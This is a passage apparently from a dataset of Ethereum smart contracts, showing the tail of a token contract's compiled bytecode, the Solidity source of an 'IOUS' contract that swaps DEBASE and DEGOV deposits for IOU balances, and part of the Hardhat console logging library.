1565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611159576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ed565b61116c8382610b2690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137d57600080fd5b60028081111561138957fe5b600560149054906101000a900460ff1660028111156113a457fe5b141515156113b157600080fd5b6001600560146101000a81548160ff021916908360028111156113d057fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145957600080fd5b60028081111561146557fe5b600560149054906101000a900460ff16600281111561148057fe5b1415151561148d57600080fd5b611495611ae4565b565b6040805190810160405280600381526020017f424153000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561150d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561155a57600080fd5b6115ab826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b600081565b6a52b7d2dcc80cd2e400000081565b600061179a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a2457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b0357fe5b021790555060006004541115611bed57611b88600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0a90919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c6c573d6000803e3d6000fd5b505600a165627a7a72305820c30aec0ca0a936f7921f3e4363c543ffbf3c601817dbd3fec0ba5738be54bbe80029
[ 4 ]
0xF26903d348C90F3D1DCb7693859020D350dD6012
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract IOUS is Ownable { using SafeERC20 for IERC20; IERC20 debase; IERC20 degov; uint256 public debaseExchangeRate; uint256 public degovExchangeRate; bool public depositEnabled; mapping(address => uint256) public debaseDeposited; mapping(address => uint256) public degovDeposited; mapping(address => uint256) public iouBalance; constructor( IERC20 debase_, IERC20 degov_, uint256 debaseExchangeRate_, uint256 degovExchangeRate_ ) { debase = debase_; degov = degov_; debaseExchangeRate = debaseExchangeRate_; degovExchangeRate = degovExchangeRate_; } modifier isEnabled() { require(depositEnabled); _; } function setEnable(bool depositEnabled_) public onlyOwner { depositEnabled = depositEnabled_; } function depositDebase(uint256 amount) public isEnabled { debase.safeTransferFrom(msg.sender, address(this), amount); debaseDeposited[msg.sender] += amount; uint256 iouAmount = (amount * debaseExchangeRate) / 1 ether; iouBalance[msg.sender] += iouAmount; } function depositDegov(uint256 amount) public isEnabled { degov.safeTransferFrom(msg.sender, address(this), amount); degovDeposited[msg.sender] += amount; uint256 iouAmount = (amount * degovExchangeRate) / 1 ether; iouBalance[msg.sender] += iouAmount; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { 